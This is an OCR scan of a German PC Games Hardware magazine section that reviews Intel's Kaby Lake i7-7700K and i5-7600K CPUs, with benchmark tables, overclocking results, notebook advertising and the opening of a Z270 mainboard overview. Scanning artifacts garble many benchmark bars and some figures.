befeuert wird. Im Segment der 
Einsteiger-Quadcores (also tra- 
ditionell zwischen 180 und 200 
Euro) schrumpft der Abstand 
zwischen den beiden günstigs- 
ten Vierkernern der Baureihe 
im Vergleich um 100 MHz, die 
der 400er in der Kaby-Lake-Rei- 
he dichter am 500er liegt, als es 
noch bei Skylake der Fall war. 


Preisgestaltung 

Die Preise sind zum Redaktions- 
schluss noch nicht final, wer- 
den sich kurzfristig aber wohl 
auf dem Niveau der Vorgänger 
einpendeln. Erste Online-Shops 
schlugen noch rund 40 Euro als 
„Early Adopter“-Zuschlag drauf. 
Wenn Ende des ersten Quartals 
AMDs Zen-CPUs auf den Markt 
kommen, könnte sich abhängig 
von deren Leistung und AMDs 


Neben dem Aufdruck ist auch die Form des Kaby-Lake-Heatspreaders (links) 
neu. Die SMD-Bauteilchen auf der Rückseite unterscheiden sich nur minimal. 
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SPECIAL | Kaby-Lake-CPUs 


eigenen Preisvorstellungen spezi- 
ell in der oberen Mittelklasse noch 
eine Preisverschiebung ergeben. 


Pro-MHz-Leistung 

Abseits der Takterhöhung hat Intel 
an den x86-Kernen des Kaby Lake 
nichts Nennenswertes geändert, so- 
dass die Pro-MHz-Leistung identisch 
zur 6000er-Reihe bleibt. In der Tat 
lässt sich ein Gutteil der höheren 
Kaby-Lake-Leistung sogar auf den 
flotteren Speicher zurückführen, 


der jetzt mit DDRÁ-2400 anstatt 
DDR4-2133 spezifiziert wird - Über- 
takter lächeln natürlich über beide 
Frequenzstufen nur milde. Wir 
haben in den Spiele-Benchmarks 
und den Indizes beide Speicher- 
varianten (bei gleichen Timings!) 
für 7700K und 7600K aufgeführt, 
sodass Sie sich leicht selbst ein Bild 
machen können (beachten Sie dazu 
das Sternchen an jeweils einem der 
i7- und i5-Probanden). Auch bei der 
integrierten Grafikeinheit hat sich 


in Sachen Performance auf den ers- 
ten Blick nichts getan: Im 3D Mark 
Firestrike zeigt sich, dass die Kon- 
trahenten sich abseits der üblichen 
Messschwankungen nichts schen- 
ken. Der Fire Strike ist bei den Intel- 
IGPs sogar so GPU-limitiert, dass 
nicht einmal der schnellere RAM 
ins Gewicht fällt. In Sachen Features 
unterstützt die Kaby-Lake-IGP, bei 
den beiden Testkandidaten im GT2- 
Ausbau mit 24 Execution Units (ent- 
spricht 192 ALUs), nunmehr Open 


CL 2.1 anstelle von 2.0. Im Luxmark 
3.1] etwa bewirkt dieses Feature- 
Upgrade allerdings keinen  Leis- 
tungsunterschied - üblicherweise 
müssen Anwendungen für das neue 
Feature-Level angepasst werden, um 
Nutzen daraus zu ziehen. Außer- 
dem unterstützt die Kaby-Lake-IGP 
neben dem HEVC- und VP9-Codec 
in 10 Bit Farbtiefe mit Microsofts 
Playready-Spezifikation SL3000 ein 
DRM-System, welches etwa Netflix 
für 4K-Streaming voraussetzt. 


F1 2015 


Far Cry 4 


„Stormy Spain" (720p, kein AA/AF/minimal mögliches Post-Processing) 


Core i7-6950X (100/20 3,0 GHz) EEE En 130,4 (+6 96) 
Core i7-6900K (8c/16t; 3,2 GHz) Egg 123,6 (Basis) 
Core i7-5930K (67/121; 3,5 GHz) EB Eu 104,6 (-15 %) 

Core i7-6800K (6c/12t; 3,4 GHz) Egg ew 104,3 (-16 96) 
Core i7-5820K (67/121; 3,3 GHz) Egs 102,3 (-17 96) 
Core i7-4960X (60/121; 3,6 GHz) grew 101,8 (-18 9) 
Core i7-3960X (60/121 3,3 GHz) mammal E 94,8 (-23 96) 
Core i7-5775C (4c/8t; 3,3 GHz) EX ШЕШШ 94,5 (-24 %) 
Core i7-7700K (4c/8t; 4,2 GHz) ET II 88,6 (-28 96) 
Core i7-7700K (4c/8t; 4,2 GHz)* Egg ШЕШ 87,1 (-30 96) 
Core i7-6700K (4c/8t; 4,0 GHz) Egi pow 79,7 (-36 %) 
Core i7-4790K (4c/8t; 4,0 GHz) sg 71,2 (-42 96) 
Core i7-3770K (4c/8t; 3,5 GHz) Es GR (-44 96) 
Core i5-7600K (4c/4t; 3,8 GHz) ge 68,1 (-45 %) 
Core i5-7600K (4c/4t; 3,8 GHz)* Esq 64,5 (-48 %) 
AMD FX-9590 (4m/8t; 4,7 GHz) Eug ШЕШ 61,3 (-50 96) 
Core i5-6600K (4c/4t; 3,4 GHz) ОЗ 58,8 (-52 96) 
AMD FX-8350 (4m/8t; 4,0 GHz) xag ШЕШ 56,6 (-54 96) 
Core i5-2500K (4c/4t; 3,3 GHz) [2919 41,6 (-66 %) 


,Banapur" (720p, kein AA/AF/minimal mógliches Post-Processing) 


Core i7-7700K (4с/81; 42 GHz) Tawa ЕЕЕ 130,8 (+46 %) 
Corei7-5775C (40/8 3,3 GHz) aG [S 128,4 (+44 %) 
Core i7-7700K (4c/8t; 4,2 GHz)* Eg es 127,7 (+43 %) 
Core i7-6700K (4c/8; 4,0 GHz) gg ew 123,5 (+38 %) 
Core i5-7600K (4c/4t; 3,8 GHz) EEE SI 116,5 (+30 90) 
Core i5-7600K (4c/4 3,8 GHz)“ a 113,6 (+27 %) 
Core i7-4790K (4c/&t; 4,0 GHz) EB ШЕШШ 113,0 (+27 96) 
Core i5-6600K (4c/4t; 3,4 GHz) Egg ШЕШЕН 105,9 (+19 96) 
Core i7-5930K (6с/121; 3,5 GHz) 93,7 (+5 96) 
Core i7-6800K (6с/121; 3,4 GHz) Ei eu 93,4 (+5 %) 
Core i7-3770K (4c/8t; 3,5 GHz) EEE | 92,2 (+3 96) 
Core i7-5820K (6c/12t; 3,3 GHz) Egi 91,5 (+2 %) 
Core i7-6950X (10c/20t; 3,0 GHz) Eg ШЕШ 90,4 (+1 96) 
Core i7-6900K (8c/16t; 3,2 GHz) EEE 89,3 (Basis) 
Core i7-4960X (67/12; 3,6 GHz) EEE ИЕШЕ 83,9 (-6 96) 
Core i7-3960X (67/121; 3,3 GHz) Egg s 83,1 (-7 %) 
Core i5-2500K (4/41; 3,3 GHz) Egan s 80,6 (-10 96) 
AMD FX-9590 (4m/8t; 4,7 GHz) uu SOI, 78,9 (-12 %) 
AMD FX-8350 (4m/8t; 4,0 GHz) STE 74,2 (-17 %) 


System: X99/79/2170A/Z97/Z77/990FX-Chip; 2 x 8/4 x 4 GiB RAM (Geschw. It. max. 
CPU-Spezifikation), Windows 10 x64, Geforce 359.06 WHQL (HQ) Bemerkungen: Auch in 
F1 2015 haben Vierkerner wie die Kaby Lakes keine Chance gegen Sechs- und Mehrkerner. 


Miti Fps 


» Besser 


*Mit DDR4-2133 anstelle von DDR4-2400 


System: X99/79/2170A/Z97/277/990FX-Chip; 2 х 8/4 х 4 GiB RAM (Geschw. It. max. 
CPU-Spezifikation), Windows 10 x64, Geforce 359.06 WHQL (HQ) Bemerkungen: In 
ЕСД setzt sich der i7-7700K an die Spitze, auch der i5-7600K schlägt sich hier sehr gut. 


Mimi 2 Fps 


» Besser 


Starcraft 2: Legacy of the Void 


The Witcher 3 


„Zerg Rush” (720p, kein AA/AF/minimal mögliches Post-Processing) 


Core i7-7700K (4c/8t; 4,2 GHz) awas EI 62,3 (+63 96) 
Core i7-7700K (4c/8t; 4,2 GHz)* M G 60,3 (+58 %) 
Core i7-6700K (4c/8t; 4,0 GHz) ME e 54,9 (+44 %) 
Core i5-7600K (4c/4t; 3,8 GHz) E WI 49,6 (+30 %) 
Core i5-7600K (4c/4t; 3,8 GHz)* ШЕН 47 8 (+25 %) 
Core i7-5775C (4c/8t; 3,3 GHz) ED 46,7 (+22 %) 
Core i7-4790K (4c/8t; 4,0 GHz) О ШЕШШ 44,4 (+16 %) 
Core i5-6600K (4c/4t; 3,4 GHz) EEE po 39,9 (+4 %) 
Core i7-6950X (10c/20t; 3,0 GHz) En eu 39,5 (+3 %) 
Core i7-6900K (8c/16t; 3,2 GHz) MEME НН 38,2 (Basis) 
Core i7-6800K (6c/12t; 3,4 GHz) En E 33,7 (-12 %) 
Core i7-5930K (6с/121; 3,5 GHz) MEME E 32,2 (-16 %) 
Core i7-5820K (6c/12t; 3,3 GHz) ЖЕШЕТ EN 31,6 (-17 %) 
Core i7-3770K (4c/8t; 3,5 GHz) Eig 26,8 (-30 %) 
Core i7-4960X (6c/12t; 3,6 GHz) IE 25,2 (-34 %) 
Core i7-3960X (6c/12t; 3,3 GHz) MEA 25,0 (-35 %) 
AMD FX-9590 (4m/8t; 4,7 GHz) Ego 19,7 (-48 96) 
Core i5-2500K (4c/4t; 3,3 GHz) ES) EN 19,5 (-49 %) 
AMD FX-8350 (4m/8t; 4,0 GHz) ШЗ 14,2 (-63 %) 


„Hierarch Square" (720p, kein AA/AF/minimal mögliches Post-Processing) 


Core i7-6900K (80/161 3,2 GHz) EE 134,7 (Basis) 
Core i7-6950X (10c/20t; 3,0 GHz) Eg 134,6 (-1 96) 
Core i7-5775C (4/81; 3,3 GHz) msi 131,1 (2 90) 
Core i7-7700K (4c/8t; 4,2 GHz) 125,5 (-6 96) 
Core i7-7700K (4c/8t; 4,2 GHz)* 122,5 (-8 96) 
Core i7-5930K (6c/12t; 3,5 GHz) 118,7 (-11 96) 
Core i7-6700K (4c/8t; 4,0 GHz) El 118,5 (-11 96) 
Core i7-6800K (6c/12t; 3,4 GHz) 118,3 (-11 96) 
Core i7-5820K (6c/12t; 3,3 GHz) EEE 1 15,0 (-14 %) 
Core 17-4960Х (60/12; 3,6 GHz) 113,5 (-15 %) 
Core 17-3960Х (6c/12t; 3,3 GHz) 111,9 (-16 96) 
Core i7-4790K (4c/8t; 4,0 GHz) 104,6 (-21 %) 
Core i7-3770K (4/81; 3,5 GHz) Egg 95,1 (-29 %) 
Core i5-7600K (4c/4t; 3,8 GHz) ERR 94,5 (-29 %) 
Core i5-7600K (4/41; 3,8 GHz) * |a 91,5 (-31 96) 
Core i5-6600K (4c/4t; 3,4 GHz) al 83,5 (-37 96) 
AMD FX-9590 (4m/8t; 4,7 GHz) enn 81,0 (-39 96) 
AMD FX-8350 (4т/8ї; 4,0 GHz) an 76,4 (-43 %) 
Core i5-2500K (4/41; 3,3 GHz) ШЕУ 63,2 (-53 %) 


System: X99/79/2170A/Z97/277/990FX-Chip; 2 x 8/4 x 4 GiB RAM (Geschw. It. max. 
CPU-Spezifikation), Windows 10 x64, Geforce 359.06 WHQL (HQ) Bemerkungen: Starcraft 
2 profitiert neben der Pro-MHz-Leistung extrem von hohem Takt, der 7700K-Sieg ist logisch. 


Mimil 2 Fps 


» Besser 


*Mit DDR4-2133 anstelle von DDR4-2400 


System: X99/79/2170A/Z97/Z77/990FX-Chip; 2 x 8/4 x 4 GiB RAM (Geschw. It. max. 
CPU-Spezifikation), Windows 10 x64, Geforce 359.06 WHQL (HQ) Bemerkungen: Im 
Hexer kommt der i7-7700K nicht ganz an den i7-5775C mit EDRAM heran. 


Mimil @ Fps 


» Besser 
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Wenn Sie die Benchmarks an dieser Stel- 
le bereits studiert haben, wird Ihnen 
aufgefallen sein, dass die Zuwächse zwi- 
schen i7-7700K und -6700K oft größer 
als die nominelle Taktdifferenz ausfallen. 
Das liegt an zwei Faktoren: Speicher und 
Turbo. Ersteren haben wir bereits kurz 
angerissen und verlieren an dieser Stelle 
noch ein paar weitere Worte: Der Sprung 
von DDR4-2133 auf DDR4-2400 ergibt 
rechnerisch bereits 12,5 Prozent mehr 
Speicherperformance - zumal wir auch 
die verschärften Timings von 12-12-12- 
33-1T auf unseren Dual-Rank-Modulen 
beibehalten konnten. In Anwendungen 
tut sich durch den flotteren RAM nur 
wenig. Unsere Komprimierung mit 7-Zip 
profitiert am stärksten: 2,5 respektive 3,8 
Prozent geringere Laufzeit messen wir 
auf den Kaby-Lake-i7 und -i5. In Spielen 
erhalten wir im Durchschnitt bereits 1,8 
respektive 2,7 Prozent Zuwachs durch 
DDR4-2400. Schlusslicht ist hier Crysis 3, 
welches sich kaum für den flinkeren Spei- 
cherzugriff bedankt. Ganz vorn sind Star- 
craft 2 - Legacy of the Void mit +3,3/+3,8 
96 sowie The Witcher 3 mit +2,4/+3,3 % 
Zuwachs für i7 und i5. Ein (reproduzier- 
barer) Ausreißer ist F1 2015, welches auf 
15-7600K satte 5,6 Prozent zulegt. Faktor 
Nummer zwei ist der Turbo. Der ist nicht 
nur nominell höher, sondern er greift 
auch öfter. So lag beim i7-6700K bei Last 
auf mehr als einem Kern standardmäßig 
nur der Basistakt an, die 200 MHz Turbo 
gab’s nur bei Single-Core-Load - ganz im 
Gegensatz zu früheren i7-Modellen. Der 
i7-4790K packte mindestens 200, der i7- 
5775C sogar 300 MHz auf den Basistakt 
drauf, solange die TDP nicht erreicht 
wurde. Der i7-7700K taktet auch bei ho- 
her Last auf allen Kernen mit 4,4 GHz, 
setzt also die unterbrochene Tradition 
fort. Da so gut wie alle unsere Anwen- 
dungs- und die meisten unserer Spiele- 
Tests alle vier Kerne belasten, liegt der 
reale Taktvorteil des i7-7700K gegen- 
über seinem Vorgánger also bei immer- 
hin 10 Prozent. Ähnlich der Vergleich 
zwischen i5-6600K und i5-7600K: Hier 
durfte der Skylake zwar auch bei Last 
auf allen Kernen noch 100 MHz draufpa- 
cken, aber mit 3,6 GHz ist er dem meist 
bis 4,1 GHz boostenden i5-7600K um gut 
zwölf Prozent unterlegen. 


Im Vergleich in unseren praxisnahen 
Kaby Lake 
dank des flotteren RAMs eine ganze 
Menge dieses Vorsprungs ins Ziel. Der 
17-7700K erreicht mit 98,2 Punkten im 
Spiele-Ranking beinahe die Performance 
des extrem teuren 10-Kerners i7-6950X 


Benchmarks rettet auch 


www.pcgameshardware.de 


und lässt den i7-6700K schon um 
gute 6,2 Prozent hinter sich. Im 
traditionell noch etwas besser 
mit der CPU-Leistung skalieren- 
den Anwendungsindex beträgt 
der Vorsprung 7,7 Prozent. Bei 
den Anwendungen, das sei der 
Vollständigkeit halber 
schlagen sich die Sechs-, Acht- und 
Zehnkerner aufgrund der besse- 
ren Skalierung jedoch deutlich 


erwähnt, 


besser. Besonders stark schneidet 
der i7-7700K erwartungsgemäß іп 
Starcraft 2 ab, aber auch in F1 2015 
11,2 %) und Anno 2205 (+9,5 
%) sind die Zuwächse ordentlich. 
Dank der Fps-Sprünge, die SC2 
mit steigender CPU-Leistung hin- 
legt, sind beim i5-7600K sogar 24 
Prozent mehr Leistung als beim 
15-6600K drin - das ist aber die ab- 
solute Ausnahme. 


Als eine der Neuerungen bei Kaby 
Lake gibt Intel die Fertigung in 
l4nm FF+ an - einer verbesser- 
ten Variante der seit Broadwell 
genutzten 14-nm-Fertigung. Doch 
offenbar hat man diesen Prozess 
erst jetzt so gut im Griff, wie es 
bereits bei 32- und 22-nm-Ferti- 
gungen ab Start der Fall war. Denn 
die Overclocking-Erfolge speziell 


ALPHACOOL 


Let your dreams come true 
with Alphacool 


Made by Jens Schwalbe 


ALPHACOOL - THE COOLING COMPANY 


SPECIAL | Kaby-Lake-CPUs 


3D-Leistung der IGP: Kaby Lake im Vergleich 


3D Mark Firestrike v2.1.2973 (Gesamt-IGrafikpunkte) 


A10-7870K (R7-Series; 2x DDR3-2400) For ШЕШ 1.921 (+52 %) 
A10-9700 (R7-Series; 2x DDR4-2133) Een 1.902 (+51 %) 


i7-5775C (Iris Pro 6200; 2x DDR3-1600) 767 


.825 (+45 96) 


15-5675C (Iris Pro 6200; 2x DDR3-1600) pad 1.792 (+42 %) 


i7-7700K (HD 630; 2x DDR4-2400) EB 1.265 (+0 96 
i7-6700K (HD 530; 2x DDR4-2133) EINEN 1.260 (Basis) 
i5-7600K (HD 630; 2x DDR4-2400) Eat 1.237 (2 96) 


System: 2x 8 GiB RAM It. max. CPU-Spezifikation, Windows 10 x64 (1607), RSCE 16.9.2 Punkte 
WHQL (HQ), Intel 21.20.16.4534/4542 Bemerkungen: Die Kaby-Lake-Grafik ist trotz flot- | Seat) Grafik 
teren RAMs in Sachen 3D-Leistung kaum schneller unterwegs als jene im Vorgänger Skylake. > Besser 
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MSIs Overclocking-Team hat bereits Erfahrungswerte von mehr als 40 i7-7700K-CPUs 


gesammelt. Hier die Spannungen, mit denen ein Cinebench-Durchlauf noch möglich war. 


unter Luftkühlung ließen bei Sky- 
lake, aber auch bei Broadwell im 
Vergleich zu Haswell, Ivy- und San- 
dy-Bridge zu wünschen übrig, auch 
wenn die Turbo-Takte regelmäßig 
erhöht wurden. Mit Kaby Lake 
dürfen sich Übertakter wieder auf 
mehr Spielraum freuen. Jedes unse- 
rer vier Muster machte unter mode- 
rater Luftkühlung (Scythe Kabuto, 
allerdings im Freiluftaufbau) prob- 
lemlos 4,8 GHz mit - ein Wert, den 
zwei unserer drei i7-6700K-Modelle 
nicht stabil packten. Unsere beiden 
15-7600К schafften auch spielstabile 
5 GHz - hier stiegen die i7-7700K- 
Modelle bei Spannungen unterhalb 
von 1,4 Volt über kurz oder lang aus. 
Was allerdings nicht verbessert wur- 
de, ist der schlechte Wärmeüber- 
gang zwischen CPU-Die und Heat- 
spreader. Speziell bei Volllast auf 
den AVX2-Vektoreinheiten schos- 
sen die Temperaturen bei starkem 
OC in Sekundenbruchteilen in die 
Hóhe und bereits nach zwei Sekun- 
den war die 90-Grad-Marke durch- 
brochen. Die von uns für die OC- 
Tests genutzten Z270-Boards bieten 
- wie von Broadwell-E bekannt - ei- 
nen „Multiplikator-Modifikator“, de 
facto also eine Taktsenkung, sobald 


PROZESSOREN 


Auszug aus Testtabelle 
mit vielen weiteren Wertungskriterien 


Prozessor 
PCGH-Preisvergleich 
Preis/Preis-Leistungs-Verháltnis 


| ! 
Intel Core i7-7700K 
www.pcgh.de/preis/1551097 


Intel Core i5-7600K 
www.pcgh.de/preis/1551201 


Ca. € 400,-/ausreichend 


Ca. € 280,-/ausreichend 


Für Mainboards mit Sockel ... 


LGA 1151 


LGA 1151 


Codename 


Kaby Lake S 


Kaby Lake S 


Anzahl Kerne/Module, Uncore-/L3-Takt 


4 (8), bis Basistakt 


4 (4), bis Basistakt 


Basistakt (Turbo für alle und einen Kern) 


4,2 GHz (4,3 bis 4,5 GHz) 


3,8 GHz (3,9 bis 4,2 GHz) 


L1-Cache (Daten/Befehle, je Kern/Modul) 


32 KiByte/32 KiByte 


32 KiByte/32 KiByte 


L2-Cache (je Kern/Modul)/LLC (gesamt) 


256 KiByte/8 MiByte 


256 KiByte/6 MiByte 


Transistoren, Fertigung, Die-Size 
Ausstattung (20 % der Endnote) 
Grafikeinheit 


Unbekannt, 14 nm, unbekannt 
1,79 
HD Graphics 630 (bis zu 1,15 GHz) 


Unbekannt, 14 nm, unbekannt 
1,79 
HD Graphics 630 (bis zu 1,15 GHz) 


* Setzt Unterstützung durch das Mainboard voraus **Angabe dient nur der Information, gewertet wird die Effizienz über alle Spiele und Anwendungen 


Befehlssátze und Erweiterungen (Auswahl) 


SSE bis 4.2, AVX bis 2, AES, FMA3, TSX 


SSE bis 4.2, AVX bis 2, AES, FMA3, TSX 


Integrierte PCI-Express-Lanes 


16x PCI-Express 3.0 


16x PCI-Express 3.0 


Eigenschaften (20 % der Endnote) 1,53 1,81 

Offener Multiplikator* Ja (bis 83) Ja (bis 83) 
Übertaktung per Referenztakt?* Ja Ja 
Speicherkanäle und max. Geschwindigkeit 2 x DDR4-2400/DDR3(L)-1600 (kein ECC) 2x DDR4-2400/DDR3(L)-1600 (kein ECC) 
TDP laut Hersteller 91 Watt 91 Watt 
Systemverbrauch Leerlauf abzügl. Grafikkarte 19 Watt 19 Watt 
Systemverbrauch (Anno 2205/Crysis 3/Witcher 3)** |223/320/302 Watt 203/262/245 Watt 
Systemverbrauch Spiele (Durchschnitt)* * 275 Watt 238 Watt 
Systemverbrauch Anwendungen (Durchschnitt)** |145 Watt 112 Watt 
Leistung (60 % der Endnote) 1,62 2,45 
Spieleindex (60 % Gewichtung Leistungsnote) 98,2 % 76,8 % 
Anwendungsindex (40 % Gewichtung Leistungsn.) |65,8 % 41,9 9o 
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© Leistung im Spieleindex fast i7-6950X-Niveau 
© Etwas taktfreudiger als i7-6700K 


© Nicht so effizient wie Vorgänger, wenig innovativ 


Wertung: 1,64. 


© Schneller und effizienter als der Vorgänger 
© Taktfreudiger als i5-6600K 
© Nur vier Threads (kein SMT), wenig innovativ 


Wertung: 2,19 


AVX2-Last etwa in Prime 95 oder 
dem von uns genutzten y-Cruncher 
anliegt. Hier hilft eine bessere Küh- 
lung nur wenig, aber der Austausch 
der Wärmeleitpaste bei geköpfter 
CPU erwies sich in der Vergangen- 
heit als kleines Wundermittel. Ob 
das bei Kaby Lake weiterhin der Fall 
ist, werden wir in einem gesonder- 
ten OC-Artikel überprüfen. 


Unsere OC-Erfolge speziell beim 
15-7600K sind im Vergleich zu Sky- 
lake positiv. Unser Retail-Muster 
des i5-7600K begnügte sich für 5 
GHz mit 1,35 Volt. Den Cinebench 
R15 (818 Punkte, +21 % gegenüber 
Standard-Takt) schaffte er auch mit 
1,325 Volt (inkl. Spannungsabsen- 
kung unter Last). Laut den Werten, 
welche das MSI-Team für die Auto- 
OC-Funktionen im UEFI bereits im 
Vorfeld anhand von 40 Prozessoren 
des Typs i7-7700K sammelte, ist das 
ein Knapp überdurchschnittliches, 
aber kein Top-Ergebnis. Die Spiele- 
leistung stieg in Crysis 3 auf 118,4 
(*16,7 %) und in The Witcher 3 auf 
108,2 Fps (*14,5 ?6), der Verbrauch 
des Gesamtsystems im Cinebench 
von 103 auf 131 Watt (*27 96). Un- 
ser Retail-7700K schaffte unter ei- 
ner Real-Spannung von 1,4 Volt die 
5-GHz-Marke nicht. Mit 4,9 GHz und 
1,36 Volt gab es im Cinebench R15 
1.064 (*10 %) Punkte bei 2596 hó- 
herer Leistungsaufnahme (169 zu 
135 Watt für den Gesamt-PC), Crysis 
3 legte um 10,6 % auf 159,6 Fps zu, 
der Verbrauch um 10,3%. 


Mit Undervolting auf konstante 1,15 
Volt bei Standard-Taktraten sparen 
wir in y-Cruncher 26 Watt (15 %) 
und bei Crysis-3-stabilen 1,128 Volt 
zeigt unser Messgerät 307 statt 320 
Watt (-Á 96) an. (cs) 


Fazit Hardware 


Core i7-7700K und Core i5-7600K 
Nach anderthalb Jahren 200 bis 300 
Megahertz mehr. Dazu HDR-Video- 
codecs und VP9- sowie Playready- 
SL3000-Support bei der integrierten 
Grafik. Da schon Skylake die beste 
— wenn auch keine günstige — Wahl 
in der Mittelklasse darstellte, gilt dies 
auch für seinen Nachfolger Kaby Lake. 
Die OC-Freudigkeit ist merklich verbes- 
sert worden, ansonsten kocht Intel, 
wie am weiterhin schlechten Die/Heat- 
spreader-Wärmeübergang ersichtlich, 
immer noch auf Sparflamme. 
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ANZEIGE 


PUGH-Notebooks 


MIT GEFORCE GTX 1070 UND GTX 1060 


chenker Technologies mit der Mar- 
Si XMG bietet optimale Konfigu- 
rationsmöglichkeiten, wenn es darum 
geht, ein Gaming-Notebook zusammen- 
zustellen. Daher freuen wir uns, Ihnen 
rechtzeitig vor Weihnachten zwei neue 
PCGH-Notebooks mit unserem neuen 
Kooperationspartner vorstellen zu kön- 
nen. Die XMG-Laptos gibt es außerdem 
zum tollen Vorteilspreis. Wenn Ihnen die 
Größe der SSD, der Festplatte oder des 
Arbeitsspeichers nicht zusagt, können Sie 
diese Bauteile vor der Bestellung einfach 
über den Notebook-Konfigurator ändern. 


Doch beginnen wir zunächst mit dem 
XMG P507 PCGH-Edition. Dieses Gerät 
einen 15,6-Zoll-Full-HD- 
Bildschirm und ist mit einer Geforce GTX 
1060 mit 6 GB ausgestattet. Das XMG 
P707 PCGH-Edition nutzt einen größe- 
ren 17,3-Zoll-Bildschirm. Ein Highlight ist 
hier die verbaute Geforce GTX 1070 mit 
8 GB. In unserem Witcher-3-Benchmark 


verfügt über 


steigt die Leistung im Vergleich zum GTX- 
1060-Gerät beispielsweise um 57 Prozent. 
Beide Notebooks setzen beim Prozessor 
auf den Intel Core i7-6700HQ und verfü- 
gen über ein hochwertiges Gehäuse, das 
überwiegend aus Metall besteht. Mehr In- 


fos unter: www.pcgh.de/xmg (dw) 


Vorteile PCGH-Edition 


(intel 
CORE 17 
inside" 

id 


-— À 


Hersteller/Bezugsquelle 


XMG P507 


PCGH-Edition 


Schenker (www.pcgh.de/xmg1) 


XMG P707 
PCGH-Edition 
Schenker (www.pcgh.de/xmg2) 


Erweiterte Informationen 


www.pcgh.de/p507 


www.pcgh.de/p707 


Prozessor 


Intel Core i7-6700HQ 
(2,6 bis 3,5 GHz, 4 Kerne/8 Threads) 


Intel Core i7-6700HQ 
(2,6 bis 3,5 GHz, 4 Kerne/8 Threads) 


Grafikeinheit 


Nvidia Geforce GTX 1060 (6 GB) 


Nvidia Geforce GTX 1070 (8 GB) 


LCD 


15,6 Zoll Full HD Non-Glare IPS 
(1.920 x 1.080 Pixel) 


17,3 Zoll Full HD Non-Glare IPS 
(1.920 x 1.080 Pixel, G-Sync) 


SSD-Laufwerk (M.2) 


256 GByte (Samsung SM961-NVMe) 


512 GByte (Samsung SM961-NVMe) 


HDD-Laufwerk 


Optisches Laufwerk 


1.000 GByte (Seagate, 5.400 U/min) 


2.000 GByte (Seagate, 5.400 U/min) 


Speicher 


16 GB DDRA4-2400 (Ballistix) 


16 GB DDRA4-2400 (Ballistix) 


Akku/Gewicht 


60 Wattstunden/2,92 kg 


60 Wattstunden/3,36 kg 


Kommunikation 


GBit-Lan (RJ-45), WLAN 802.1 1ac, Blue- 
tooth 4.2, SD-Kartenleser, HD- Webcam, 
Fingerprint 


GBit-Lan (RJ-45), WLAN 802.1 1ac, Blue- 
tooth 4.2, SD-Kartenleser, HD-Webcam, 
Fingerprint 


Soundchip 


Sound Blaster X-Fi 5 


Sound Blaster X-Fi 5 


Anschlüsse 


3 x USB 3.0, 2 x USB 3.1 (Typ C), 
HDMI, 2 x Mini-Displayport, 
3 x Klinke (1 x Kopfhürer, 
1 x Mikrofon in, 1 x S/PDIF) 


3 x USB 3.0, 2 x USB 3.1 (Typ C), 
HDMI, 2 x Mini-Displayport, 
3 x Klinke (1 x Kopfhörer, 
1 x Mikrofon in, 1 x S/PDIF) 


Abmessungen (B x T x H) 


|Leistung** 


385x 271 x 25 mm 


417x287 x 30 mm 


Lautstárke 2D (0,5 m) 0,4 Sone/24 dB(A) 0,5 Sone/25 dB(A) 
Lautstárke 3D (0,5 m) 2,2 Sone/37 dB(A) 4,4 Sone/46 dB(A) 
Leistungsaufnahme 2D/3D 20 Watt/107 Watt 26 Watt/153 Watt 

3D Mark (Fire Strike) 2.646 (U), 5.091 (E), 9.453 (S) 4.029 (U), 7.344 (B), 12.713 (S) 
Battlefield 1/The Witcher 3 63 Fps/37 Fps 65 Fps/58 Fps 


Stalker: Call of Pripyat 


122 Fps (Sun Shafts, Ultra, 4x AA) 


142 Fps (Sun Shafts, Ultra, 4x AA) 


Aliens vs Predator Bench. 


155 Fps (1.920 x 1.080) 


223 Fps (1.920 x 1.080) 


mit 64-Bit-Betriebssystem* 


Cinebench R11.5 x64 (CPU) 7,43 Punkte 7,40 Punkte 
Akkulaufzeit 2D 332 Minuten (5:32 Stunden) 280 Minuten (4:40 Stunden) 
PREIS 
ohne Betriebssystem" € 1.699,- € 2.399,- 
PREIS €1.799,- €2.499,- 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


**Verringerte Leistung im Akkubetrieb 


© 3D-Performance der GTX 1060 
€ Lange Akkulaufzeit 
© Hohes Gewicht 


© Sehr schnelle Geforce GTX 1070 und G-Sync 
© Große 512-GB-M.2-SSD 
© Hörbare Lüfter im 3D-Betrieb 


Gutschein für das PCGH-Online-Abo 
(365-Tage-Zugang) 


* Preiserfassung und Produktdaten vom 22.11.2016, unter www.pcgh.de/mysn finden Sie stets den aktuellen Preis. Bei der Variante mit Betriebssystem sind neben 


Windows auch sämtliche Treiber installiert und der PC ist sofort einsatzbereit. 


SPECIAL | Kaby-Lake-Mainboards 


Neue Prozessoren, neue Mainboards – pünktlich zum Kaby-Lake-Launch präsentieren wir eine Markt- 


übersicht mit vier nagelneuen Union-Point-Oberklasse-Platinen der vier führenden Hersteller. 


ye Skylake-Launch stahl Intel 
sich selbst die Show: Während 
die neuen CPUs mit minimaler 
Leistungssteigerung enttäuschten, 
machten der Z170-PCH (Codena- 
me: Sunrise Point) den größten 
Ausstattungs-Sprung seit der Ein- 
führung von PCLExpress, wenn 
nicht länger. Bei Kaby Lake bieten 
die CPUs 
wenig Vorteile, dafür bringen die 
Mainboardhersteller neue Portfo- 


unübertaktet erneut 


lios auf Basis der „Union Point“- 
PCH-Generation. Deren Flaggschiff 
heißt wenig überraschend 7270 
und bietet im Vergleich zum Vor- 
gänger vier zusätzliche PCI-E-3.0- 
Lanes - ein Segen in Zeiten von 
M.2, U.2, Thunderbolt 3 und Co. 
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Volle Kompatibilität 
Aufrüster, die bislang nur einen 
Skylake-Dual-Core 
zen, brauchen sich dennoch keine 
Sorgen machen: Die Z170-/H170-/ 
B150-/H110-Generation ist voll auf- 
wärtskompatibel und alle Herstel- 
ler haben passende UEFI-Updates 
herausgebracht. Eine Sammlung 
finden Sie auf der Heft-DVD. 


kleinen nut- 


Auch für Neukäufer kann die alte 
Generation preislich oder auf- 
grund besonderer Layout-Wün- 
sche interessant sein. Umgekehrt 
ist bedenkenlos der Einsatz einer 
vorhandenen oder günstigen Sky- 
lake-CPU auf einer neuen, besser 


ausgestatten Platine möglich. 


Überarbeitete Benotung 

Wir machen uns diesen Umstand 
zu nutze und bleiben unserem 
Core i7-6700K aus bisherigen So- 
ckel-1151-Tests treu. So lassen sich 
alle Messwerte 1:1 mit älteren Er- 
gebnissen vergleichen. Gründlich 
modernisiert wurde dagegen die 
Bewertung dieser Messergebnisse. 
Das neue Sockel-1151-Wertungssys- 
tem lässt nicht nur Luft für immer 
umfangereichere Ausstattungen 
und vergibt nicht nur einen klei- 
nen Bonuspunkt, weil Z270-Main- 
